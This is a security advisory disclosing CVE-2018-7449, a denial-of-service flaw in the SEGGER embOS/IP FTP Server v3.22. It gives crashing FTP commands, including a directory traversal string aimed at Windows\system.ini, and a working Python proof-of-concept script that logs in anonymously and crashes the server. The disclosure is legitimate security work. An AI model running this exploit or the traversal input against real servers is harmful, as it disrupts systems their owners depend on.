[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SEGGER-embOS-FTP-SERVER-v3.22-FTP-COMMANDS-DENIAL-OF-SERVICE.txt [+] ISR: Apparition Security Vendor: ============= www.segger.com Product: =========== embOS/IP FTP Server v3.22 Vulnerability Type: =================== FTP Commands Denial Of Service CVE Reference: ============== CVE-2018-7449 Security Issue: ================ SEGGER embOS/IP FTP Server 3.22 allows remote attackers to cause a denial of service (daemon crash) via an invalid LIST, STOR, or RETR command. STOR 666\r\n LIST\r\n RETR '+'..\\'*8+'Windows\system.ini\r\n TELNET x.x.x.x 21 220 Welcome to embOS/IP FTP server USER anonymous 331 Password required. PASS anonymous 230 User logged in, proceed. STOR Bye! CRASH!!! Exploit/POC: ============= import socket,time VICTIM=raw_input('[+]Segger v3.22 FTP Server IP > ') USR='anonymous' PWD='anonymous' CMD="STOR Bye!\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((VICTIM, 21)) print s.recv(1024) # Recieve FTP Banner time.sleep(1) s.send("USER " + USR+ "\r\n") print s.recv(1024) time.sleep(1) s.send("PASS "+ PWD+"\r\n") # print s.recv(1024) time.sleep(1) s.send(CMD) print 'Sent %s' % CMD s.close() Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================= Vendor Notification: February 17, 2018 Vendor acknowledgement: February 19, 2018 Vendor released fixed version v3.22a : February 23, 2018 March 1, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx